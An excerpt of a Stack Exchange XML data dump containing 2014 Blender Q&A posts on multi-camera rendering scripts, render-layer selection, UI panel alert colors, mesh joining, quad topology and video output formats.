  <row Id="8849" PostTypeId="2" ParentId="8848" CreationDate="2014-04-24T13:04:18.680" Score="2" Body="&lt;p&gt;You have probably scaled your empty (the empty is the object that you use as offset object in the tutorial).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For correcting your error you can select your empty and then press &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; for reseting the scale of your object.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-24T13:04:18.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostTypeId="1" AcceptedAnswerId="8852" CreationDate="2014-04-24T14:04:34.407" Score="8" ViewCount="5225" Body="&lt;p&gt;To be clear i want a script, which produces what i am describing below.&#xA;I want to iterate through all the cameras in my scene where each one renderes an image. I can do this manually by rendering with active camera, then set another camera to active, and then render again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have five cameras in my scene and i am going to be using this scene a lot.&#xA;in reality the question might be more about setting a camera to active with script.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-04-24T16:17:07.213" Title="how to take images with multiple cameras with Script?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8851" PostTypeId="1" AcceptedAnswerId="8861" CreationDate="2014-04-24T14:32:25.610" Score="8" ViewCount="3882" Body="&lt;p&gt;I want to be able to change the background color of a property ui.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment it does:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Green = has an Fcurve&lt;/li&gt;&#xA;&lt;li&gt;Yellow = has a keyframe&lt;/li&gt;&#xA;&lt;li&gt;Purple = has a Driver&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to to be able to change the color of the background depending my own conditions. IE I don't want to change the color theme, I want to add a new color and define its condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example:&#xA;If a property is above 500 it changes to red!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="3141" LastActivityDate="2019-02-07T04:01:05.600" Title="In Python is it possible to change the background color of a property ui?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8852" PostTypeId="2" ParentId="8850" CreationDate="2014-04-24T14:35:59.947" Score="10" Body="&lt;p&gt;You might want to edit the &lt;code&gt;os.path.join&lt;/code&gt; to get an OS independent tmp directory or set something else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;for ob in scene.objects:&#xA;    if ob.type == 'CAMERA':&#xA;        bpy.context.scene.camera = ob&#xA;        print('Set camera %s' % ob.name )&#xA;        file = os.path.join(&quot;C:/tmp&quot;, ob.name )&#xA;        bpy.context.scene.render.filepath = file&#xA;        bpy.ops.render.render( write_still=True )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-24T14:35:59.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8853" PostTypeId="1" AcceptedAnswerId="8874" CreationDate="2014-04-24T15:24:11.327" Score="6" ViewCount="831" Body="&lt;p&gt;How do I extrude this top so the mesh will form a complete dress. More precisely, after applying the mirror modifier, each horizontal loop contains N=24 vertexes. To get good results from the cloth simulator, I want the skirt to have at least more vertexes around each horizontal loop so I need to branch each vertical edge to create more vertexes in the loop below. Is it possible to join two loops with N and kN vertexes without using a &quot;tris bridge&quot;. That is, I want to stick to quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out that I can multiply by three using the following pattern&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|      |&#xA;+------+&#xA; \    / \&#xA;  +--+   +&#xA; /|  |\ /&#xA;+ |  | +&#xA;| |  | |&#xA;+-+--+-+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By only branching every other edge, it is possible to multiply by two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique results in some bad quads. Is more regular tris a better approach then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iutN2.png&quot; alt=&quot;My mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="3258" LastEditDate="2014-04-25T07:24:41.273" LastActivityDate="2014-04-25T13:02:52.300" Title="Extrude and subdivide without using tris" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostTypeId="2" ParentId="8850" CreationDate="2014-04-24T16:17:07.213" Score="4" Body="&lt;p&gt;If it's a still, you could make it into an animation where the only thing that changes is the active camera, and render it as an animation (see &lt;a href=&quot;https://blender.stackexchange.com/questions/3502/how-can-i-make-a-camera-the-active-one&quot;&gt;How can I make a camera the active one?&lt;/a&gt; for how to animate the active camera property)&lt;/p&gt;&#xA;" OwnerUserId="1881" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-04-24T16:17:07.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostTypeId="1" AcceptedAnswerId="8857" CreationDate="2014-04-24T16:55:48.180" Score="7" ViewCount="1859" Body="&lt;p&gt;I know this may be a very basic question, but I somehow got myself tangled up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make procedural textures (like clouds) to follow the geometry of a simple model, for instance, a distorted plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm satarting from a plane and then adding twists and bends to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by now it's not working for me:&#xA;The texture grain will not follow the direction of the breaks, but will stay in the original direction, as in this picture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gA0hf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the settings of the texture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CFkme.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the problem is in the Mapping settings for the Projection and the Coordinates. Or maybe there's something I should set up with the geometry first (my guess is something with the UV's ¿?¿ which i know nothing about).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help or hints. As you may help me clarify i can edit the question to be more detailed and specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a video, where it simply happens,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/sxgwa-0e5Jw?t=46s&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youtu.be/sxgwa-0e5Jw?t=46s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...And the author itself responds in one of the comments (mine by the way) That this happens because the texture is like &quot;the pattern on a carpet&quot; so it will naturally follow if you bend or twist it...&#xA;So maybe it's even as simple as I'm not using the right tools to twist and bend the plane..... (wich were just extrude and subdivide....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="1867" LastEditDate="2014-04-24T18:16:06.003" LastActivityDate="2014-04-26T06:29:40.880" Title="How to make procedural textures to follow geometry?" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8856" PostTypeId="1" CreationDate="2014-04-24T18:16:04.260" Score="7" ViewCount="16348" Body="&lt;p&gt;I have created two meshes as separate objects and I want to create a face joining them. However, since they are two different objects, I can not edit them to add the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to join them into one mesh?&lt;/p&gt;&#xA;" OwnerUserId="3259" LastEditorUserId="743" LastEditDate="2014-04-24T23:49:26.690" LastActivityDate="2014-04-24T23:49:26.690" Title="How do I join two separate objects so I can edit them as one mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2014-04-25T04:55:06.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="8857" PostTypeId="2" ParentId="8855" CreationDate="2014-04-24T18:31:44.930" Score="7" Body="&lt;ul&gt;&#xA;&lt;li&gt;Using &lt;strong&gt;UV&lt;/strong&gt; mapping, This is often the most straightforward method since you can edit UV's directly and preview the changes realtime, However you only get 2D coordinates, but you have the advantage that the coordinates are editable and are stored per face-corner (they dont have to be contiguous). UV's are also well supported by many formats, game-engines and render-engines.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if your mesh has primarily a grid topology, then try the &lt;strong&gt;Follow-Active-Quads&lt;/strong&gt; tool from the unwrap menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;strong&gt;Generated&lt;/strong&gt; mapping, this works when you deform a mesh by a modifier (ShapeKey, Lattice or Armature for example), the un-deformed mesh is used for texture coordinates.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;strong&gt;TexMesh&lt;/strong&gt;, see Mesh Data properties, This allows you to select another mesh to use for texture coordinates, this gives a lot of control but the vertex indices must match up. These have the advantage of allowing you to set XYZ coordinates, but you have to take care not to add/remove vertices from the mesh. While useful, this is a Blender specific feature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-04-26T06:29:40.880" LastActivityDate="2014-04-26T06:29:40.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8858" PostTypeId="2" ParentId="8856" CreationDate="2014-04-24T18:32:29.773" Score="9" Body="&lt;h2&gt;How to join two meshes with the &lt;em&gt;Join&lt;/em&gt; command&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is very easy to join two meshes together using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Join&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;) command so that you can add a face between them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how you do it: Select both meshes at the same time, then press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmiW6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now both meshes are one object and in Edit mode, you can add a face between them.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-24T18:39:26.783" LastActivityDate="2014-04-24T18:39:26.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8860" PostTypeId="1" CreationDate="2014-04-24T19:36:13.433" Score="1" ViewCount="316" Body="&lt;p&gt;I'm trying to distribute a large number of shapes onto a mesh surface. I found a command in blender that does this, but it only allows me to place one shape on each vertex/face. I would need to add many more of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there are a command in blender that will distribute the maximal possible density of a given shape onto the surface area of a spherical mesh?&lt;/p&gt;&#xA;" OwnerUserId="3261" LastActivityDate="2014-04-24T19:36:13.433" Title="Maximizing distribution of an object on a mesh surface" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostTypeId="2" ParentId="8851" CreationDate="2014-04-24T19:50:11.477" Score="9" Body="&lt;p&gt;The colors are controlled by C code, you can't set it to arbitrary colors with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can change the background to alert color (=red) by setting the alert property on the layout block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZwOo7.png&quot; alt=&quot;Panel - layout alert state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj = context.object&#xA;        if obj is None: return&#xA;&#xA;        col = layout.column()&#xA;        col.alert = True&#xA;        col.label(&quot;Alert state NOT supported:&quot;)&#xA;&#xA;        box = col.box()&#xA;        box.label(&quot;Labels&quot;, icon=&quot;X&quot;)&#xA;        box.menu(&quot;VIEW3D_MT_object&quot;, text=&quot;Menus&quot;)&#xA;        box.prop(obj, &quot;layers&quot;, text=&quot;Not all properties&quot;)&#xA;&#xA;        col.separator()&#xA;        col.label(&quot;Supported:&quot;)&#xA;        box = col.box()&#xA;        box.operator(&quot;mesh.primitive_cube_add&quot;, text=&quot;Operators (Buttons)&quot;)&#xA;        box.prop(obj, &quot;name&quot;, text=&quot;Many properties&quot;)&#xA;        box.prop(obj, &quot;location&quot;, index=1, text=&quot;Vector props: only single&quot;)&#xA;        box.label(&quot;also with emboss=False, but...&quot;)&#xA;        box.prop(obj, &quot;name&quot;, text=&quot;read-only?!&quot;, emboss=False)&#xA;        box.label(&quot;template_list() sort of (needs materials):&quot;)&#xA;        box.template_list(&quot;UI_UL_list&quot;, &quot;foobar&quot;, obj.data, &quot;materials&quot;, obj, &quot;active_material_index&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the above code in &lt;em&gt;Text Editor&lt;/em&gt; and check out the &lt;em&gt;Object tab&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-24T23:58:00.560" LastActivityDate="2014-04-24T23:58:00.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostTypeId="1" CreationDate="2014-04-24T20:30:50.793" Score="1" ViewCount="2553" Body="&lt;p&gt;I am contemplating between the AMD FX6300 and AMD FX4350, the former being 6-core@3.5GHz and the latter being 4-core@4.2GHz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cpu-world.com/CPUs/Bulldozer/AMD-FX-Series%20FX-4350.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cpu-world.com/CPUs/Bulldozer/AMD-FX-Series%20FX-4350.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cpu-world.com/CPUs/Bulldozer/AMD-FX-Series%20FX-6300.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cpu-world.com/CPUs/Bulldozer/AMD-FX-Series%20FX-6300.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3262" LastEditorUserId="599" LastEditDate="2014-07-23T06:30:45.397" LastActivityDate="2014-11-20T01:13:04.093" Title="What will speed up renders more effectively?- more cores or higher clock speed?" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-11-20T21:28:00.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="1" AcceptedAnswerId="8865" CreationDate="2014-04-24T20:41:45.313" Score="6" ViewCount="2360" Body="&lt;p&gt;Does anybody know how to choose one or more from multiple defined render layers by name from command line or from the blender python console? To disable all render layers except the ones specified.&lt;/p&gt;&#xA;" OwnerUserId="3263" LastEditorUserId="2217" LastEditDate="2014-05-07T13:53:30.787" LastActivityDate="2017-02-05T14:45:18.240" Title="How do I render specific render layers using python?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8864" PostTypeId="1" CreationDate="2014-04-24T21:25:31.350" Score="5" ViewCount="20081" Body="&lt;p&gt;How can I make video output smaller, or what would be a better codec to use? Currently 31 seconds of video is 127MB and at that rate, videos longer than a few minutes would be impractical because I'd have such large files. I used AVI JPEG because it seems to open in more video players, not sure if anything special is needed on client's PC to display videos made in the other formats.&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="743" LastEditDate="2014-04-25T00:31:37.483" LastActivityDate="2018-02-10T15:34:34.240" Title="How to reduce the output video size?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8865" PostTypeId="2" ParentId="8863" CreationDate="2014-04-24T22:00:58.280" Score="5" Body="&lt;p&gt;Here's a little script, that iterates over all render layers and checks for some condition (e.g. does the layername start with 's'?). Then it disables all render layers and enables one that fulfills the condition until there are no more layers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;render_layers = bpy.context.scene.render.layers&#xA;&#xA;for layer in render_layers:&#xA;&#xA;    # some condition&#xA;    if layer.name.startswith(&quot;s&quot;):&#xA;&#xA;        # disable all&#xA;        for l in render_layers:&#xA;            l.use = False&#xA;&#xA;        # re-enable a single one that matched the condition&#xA;        layer.use = True&#xA;&#xA;        # RENDER HERE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-24T22:00:58.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="2" ParentId="8842" CreationDate="2014-04-24T23:14:13.967" Score="24" Body="&lt;p&gt;First hit &lt;kbd&gt;NumPad 0&lt;/kbd&gt; to enter camera view, then press &lt;kbd&gt;Home&lt;/kbd&gt; so the camera fills the window.&lt;br&gt;&#xA;Now when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;NumPad 0&lt;/kbd&gt; (or go to the camera view any other way) the camera will fill the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the camera is still not positing where you want it; then that means you are in Orthographic view. Hit &lt;kbd&gt;NumPad 5&lt;/kbd&gt; to switch to perspective view, and the camera will match your view.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-09-19T15:54:01.407" LastActivityDate="2015-09-19T15:54:01.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostTypeId="2" ParentId="8400" CreationDate="2014-04-24T23:51:02.930" Score="0" Body="&lt;p&gt;I&quot;m on my tablet right now, so I can't look  at the blend. I used to have a ton of issues with texts, but here's the main fix. Just change the text into an actual mesh(Alt+C &gt; Mesh), then put the material with transparency. Though this will not work if you want your text to change, there is a long process. This way, the text will have more quality, and you can out transparency, just as any other object.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-04-24T23:51:02.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostTypeId="2" ParentId="8864" CreationDate="2014-04-25T00:20:43.990" Score="7" Body="&lt;p&gt;&lt;code&gt;AVI&lt;/code&gt; is both large and not the most common format. It is generally played natively only on Windows, although other software packages can also open it (such as &lt;a href=&quot;http://www.videolan.org/index.html&quot; rel=&quot;noreferrer&quot;&gt;VLC&lt;/a&gt;). As such, it is not a good choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format you are looking for is &lt;code&gt;MP4&lt;/code&gt; with the &lt;code&gt;H.264&lt;/code&gt; codec. It is the most common format and codec that plays on almost everything. It also has a relatively small file size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PqpDk.png&quot; alt=&quot;H.264&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an additional tip, you should watch &lt;a href=&quot;http://www.blenderguru.com/videos/rendering-animations/&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt; on the best practice for rendering animations (you should render the individual frames as &lt;code&gt;PNG&lt;/code&gt; images first, then encode the frames into a video file).&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-04-25T00:20:43.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostTypeId="1" CreationDate="2014-04-25T02:47:19.787" Score="3" ViewCount="1623" Body="&lt;p&gt;Recently I've been trying to import into my game the mesh of a terrain that I have in Blender. I chose to use a model other than a heightmap because it's needed the maximum accuracy possible. Unfortunately the model, once highly detailed, has 263,169 verts and this exceeds the maximum limit that a mesh can hold into the engine I use (the limit is normally 65,536 verts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a solution I read that the engine can manage without problem models with more than limit if the model is &quot;subgrouped&quot; in meshs with at maximum 65,536 verts. There comes the problem for me. Until now I've been trying to do this in Blender, that is, to &quot;subgroup&quot; my mesh, but, sadly enough, entirely unsuccessfully. I've never used Blender before and, although all my research, I still don't have even the slightest idea about how to do such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;, but I don't know if this is exactly what I need... I also achieved to create &quot;groups of vertices&quot;, but only through a very manual process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the image of the terrain, if it helps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEGHr.jpg&quot; alt=&quot;Terrain&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My working vacation is near, then I'll have time to study Blender a lot more. I would be very grateful having some tips about where to start in the case of the described problem.&lt;/p&gt;&#xA;" OwnerUserId="3266" LastEditorUserId="2217" LastEditDate="2014-08-24T00:26:51.953" LastActivityDate="2015-10-18T04:15:21.343" Title="Subgrouping a large mesh" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8871" PostTypeId="2" ParentId="8870" CreationDate="2014-04-25T03:10:00.577" Score="0" Body="&lt;p&gt;Here are a few possible approaches.&#xA;You can split the mesh up into several different meshes, which appears to be what you are asking for.  It's rather tedious, but if you only need to do it once it will work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;select the vertices you want to split&lt;/li&gt;&#xA;&lt;li&gt;press P&lt;/li&gt;&#xA;&lt;li&gt;click selection&lt;/li&gt;&#xA;&lt;li&gt;repeat until you have the mesh sufficiently subdivided&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if the mesh doesn't have to be preserved 100%, you could reduce the vertex count of your mesh.  The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;nofollow&quot;&gt;decimate modifier&lt;/a&gt; provides some great options for simplifying a mesh without losing much detail.  This may lose some accuracy in the flat parts of the terrain, where it really isn't noticeable, while preserving detail in the steeper parts.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-25T03:10:00.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8872" PostTypeId="2" ParentId="2662" CreationDate="2014-04-25T08:29:45.337" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;At the end it looks like the method aignAxisToVect overwrites the&#xA;  changes made by the method applyRotation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That should be correct, alignAxisToVect should be instantaneous and complete and can overwrite whatever rotation you have applied with the mouse. So you probably just want to change the order of execution.&lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2014-04-25T08:29:45.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8873" PostTypeId="2" ParentId="124" CreationDate="2014-04-25T09:16:46.600" Score="6" Body="&lt;p&gt;Regarding the num pad: Install &lt;a href=&quot;https://pqrs.org/macosx/keyremap4macbook/&quot; rel=&quot;noreferrer&quot;&gt;KeyRemap4MacBook&lt;/a&gt; and under &quot;Change Num Key (1...0)&quot; enable &quot;Fn+Number to KeyPad&quot;. Also disable &quot;Emulate Numpad&quot; in Blender. This allows you to use the number keys to select layers, and in combination with the fn key to change views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/3D_Navigation&quot; rel=&quot;noreferrer&quot;&gt;3D Navigation&lt;/a&gt; addon. It adds perspective buttons to the tool shelf.&lt;/p&gt;&#xA;" OwnerUserId="3270" LastEditorUserId="3270" LastEditDate="2014-04-25T09:32:42.047" LastActivityDate="2014-04-25T09:32:42.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="2" ParentId="8853" CreationDate="2014-04-25T13:02:52.300" Score="6" Body="&lt;p&gt;Here are a couple of ways to increase vertex count between edge loops using all quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sHDHS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a quick trick for the right one using inset.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set face select mode&lt;/li&gt;&#xA;&lt;li&gt;Select two faces at the end you want to expand loop cuts.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;I&lt;/kbd&gt; and inset a small amount &lt;BR&gt;&lt;BR&gt;&lt;img src=&quot;https://i.stack.imgur.com/0TKSm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select next two faces and press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repeat step 4&lt;/li&gt;&#xA;&lt;li&gt;Select all new internal faces &lt;BR&gt;&lt;BR&gt;&lt;img src=&quot;https://i.stack.imgur.com/hOoRv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;repeat 6 and 7 a few times &lt;/li&gt;&#xA;&lt;li&gt;Set vertex select mode and box select the bottom vertices and delete&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52WR3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a fully round mesh like your dress you can get around this step if you apply the mirror modifier and disable boundary in the inset options when doing the first inset. You can then delete half the dress and re-add the mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have a mesh that starts with 5 vertices at the top and ends with 37 at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WKPiR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-25T13:02:52.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="1" AcceptedAnswerId="8884" CreationDate="2014-04-25T14:56:27.243" Score="6" ViewCount="969" Body="&lt;p&gt;I am having trouble getting the Record Animation setting to work in the BGE. Is it possible to record animated characters that are controlled using BGE's logic bricks with some script? In my script I change the positions of the characters bones. &lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2217" LastEditDate="2015-06-24T02:26:34.000" LastActivityDate="2018-11-10T17:02:26.400" Title="Record Animation In BGE" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;keyframes&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
